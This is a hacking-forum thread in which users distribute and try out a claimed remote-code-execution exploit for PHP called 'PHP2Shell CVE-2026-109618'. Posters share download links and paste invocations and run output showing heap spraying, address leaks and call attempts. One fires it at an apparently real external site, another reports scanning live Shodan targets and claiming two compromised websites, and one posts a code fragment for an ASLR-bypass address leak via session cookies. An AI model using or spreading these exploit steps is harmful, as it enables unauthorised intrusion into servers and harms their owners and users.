

Forum:[Hack Forums](#)

Thread: [PHP2Shell CVE-2026-109618 Full Exploit Source](#)

rspower - October 21, 2026, 8:13 am

<https://jackalsyn.com/posts/php-up-2026.html>

with the missing php2shell_weapon.py

DL:

<https://anonfilesnew.com/s/vB6g7hBU2hv>

Money- - October 21, 2026, 8:15 am

Upload the full code here my man. But it seems like github repo have many more POCs, I haven't tried it out yet.

Sift - October 21, 2026, 8:32 am

Maybe just include the original dl link lol from creator.

<http://jackalsyn.com/posts/phpupAssets/php2shell-reup.zip>

rspower - October 21, 2026, 8:36 am

(36 hours ago)Sift Wrote: [\[CITE\]](#) Maybe just include the original dl link lol from creator.

<http://jackalsyn.com/posts/phpupAssets/php2shell-reup.zip>

In the original download link, php2shell_weapon.py is missing without it, the RCE exploit doesn't work. He intentionally left it out. In mine, I reconstructed it

bandors - October 21, 2026, 8:46 am

Did you actually get it to work on anything? I have yet to have it work on anything.

? loading encrypted image...

I'm cooking, give me a few bros

?**Ladon Kkc** - October 21, 2026, 9:08 am

Does it work ?

bandors - October 21, 2026, 9:15 am

python3 php2shell_weapon.py <http://10.0.27.162/index.php> --profile medium --command 'whoami'
php2shell weapon | profile=medium files=2 namelen=48MB spray=150 leak=auto cmd='whoami'
attempts=8

stage flow: ARM -> P1 -> SPRAY/LEAK -> CALL (video: arming -> spraying -> leak -> call)

NOTE: final system() is ASLR/leak-gated; no leak -> MARKER crash receipt.

FPM/CGI/LSAPI = DoS-class (worker kill). Use --rearm on live multi-worker.

[arm] body=96MB

[arm] status=413 dt=16.45s OOM=False <- need pre-RINIT OOM to orphan

[p1] body=4MB

[p1] status=200 dt=3.61s OOM=False

[spray] s[]=150 t[]=149 last_dtor=0x4141414141414141 body=1232KB
[spray] status=200 dt=4.23s
[leak] AUTO zval_ptr_dtor candidate=0x206c753c09090a3e
[leak] zend_call_function=0x206c753c08fd264e (dtor-0xBE3F0)
[leak] cand 0x206c753c09090a3e [body@0x11500]
[leak] cand 0x207669643c090909 [body@0x10748]
[leak] cand 0x207669643c09090a [body@0x12618]
[leak] cand 0x207669643c090a09 [body@0x111c0]
[leak] cand 0x207669643c0a090a [body@0x104c0]
[leak] cand 0x2d61746164090909 [body@0xfcd0]
[call] dtor=0x206c753c09090a3e zend_call_function=0x206c753c08fd264e (dtor-0xBE3F0)
t[]=149 cmd='whoami'

[call] attempt 1/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=8.59s

[call] attempt 2/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.48s

[call] attempt 3/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.20s

[call] attempt 4/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.22s

[call] attempt 5/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.45s

[call] attempt 6/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.20s

[call] attempt 7/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.21s

[call] attempt 8/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.20s

having the swarm investigate it

rspower - October 21, 2026, 9:17 am

A (12MB): 253870B in 2.1s

B: 65536B in 0.8s

first line: b'HTTP/1.1 200 OK'

tail: b'title title_font">\n <a

href="https://www.xxxxxx.com/en/309-mo'

PHPSESSID cookie: r9gejj1re5coo4efimfl96nabr (len=26)

bandors - October 21, 2026, 9:49 am

GG sift for showing me first working poc

banc1234 - October 21, 2026, 11:49 am

root@support:~# python3 php2shell_weapon.py <https://sportruse.si>

php2shell weapon | profile=high files=1 namelen=160MB spray=150 leak=auto cmd='id' attempts=8
stage flow: ARM -> P1 -> SPRAY/LEAK -> CALL (video: arming -> spraying -> leak -> call)
NOTE: final system() is ASLR/leak-gated; no leak -> MARKER crash receipt.
FPM/CGI/LSAPI = DoS-class (worker kill). Use --rearm on live multi-worker.

I will report back with my findings ???

Sift - October 22, 2026, 1:42 am

(25 hours ago)rspower Wrote: [\[CITE\]](#) ? loading encrypted image...

local works testing live targets now
Stop bullshitting lmao.

rspower - October 22, 2026, 2:18 am

(19 hours ago)Sift Wrote: [\[CITE\]](#) Stop bullshitting lmao.

I'm not bullshitting... I ran several tests with Qwen 3.8 Flash Uncensored on the Docker image and had the tests evaluated by Astra. I'm currently going through Shodan with some checked live targets, it has worked on 2 websites so far, but most of the time it fails because of the memory limit

Sift - October 22, 2026, 2:36 am

(18 hours ago)rspower Wrote: [\[CITE\]](#) I'm not bullshitting... I ran several tests with Qwen 3.8 Flash Uncensored on the Docker image and had the tests evaluated by Astra. I'm currently going through Shodan with some checked live targets, it has worked on 2 websites so far, but most of the time it fails because of the memory limit

You won't achieve RCE chain on any live target unless there is another vulnerability that leaks memory addresses you have no idea what the vulnerability actually does.

???????????? - October 22, 2026, 2:46 am

<https://calif.io/php2shell/>

For everyone to understand basics.

```
/* **** */
/* **** */
/* **** */
```

rspower - October 22, 2026, 2:53 am

(18 hours ago)Sift Wrote: [\[CITE\]](#) You won't achieve RCE chain on any live target unless there is another vulnerability that leaks memory addresses you have no idea what the vulnerability actually does.

An ASLR bypass doesn't necessarily require a second, independent vuln. An leak can be part of the same exploit chain.

My current PHP2Shell implementation attempts to leak both the Zend MM heap base and the libphp base through corrupted session cookie data before constructing the RCE

Code def libphp_base_from_cookie(raw: bytes, dtor_offset: int) -> int:

```
...
p = int.from_bytes(raw[8:16], "little")
...
base = p - dtor_offset
return base if base & 0xFFF == 0 else 0
```

Sift - October 22, 2026, 3:53 am

(18 hours ago)rspower Wrote: [CITE](#) An ASLR bypass doesn't necessarily require a second, independent vuln. An leak can be part of the same exploit chain.

My current PHP2Shell implementation attempts to leak both the Zend MM heap base and the libphp base through corrupted session cookie data before constructing the RCE

Code def libphp_base_from_cookie(raw: bytes, dtor_offset: int) -> int:

```
...
p = int.from_bytes(raw[8:16], "little")
...
base = p - dtor_offset
return base if base & 0xFFF == 0 else 0
```

Doesn't change the fact you still need the correct memory offsets for the ASLR bypass to do any good.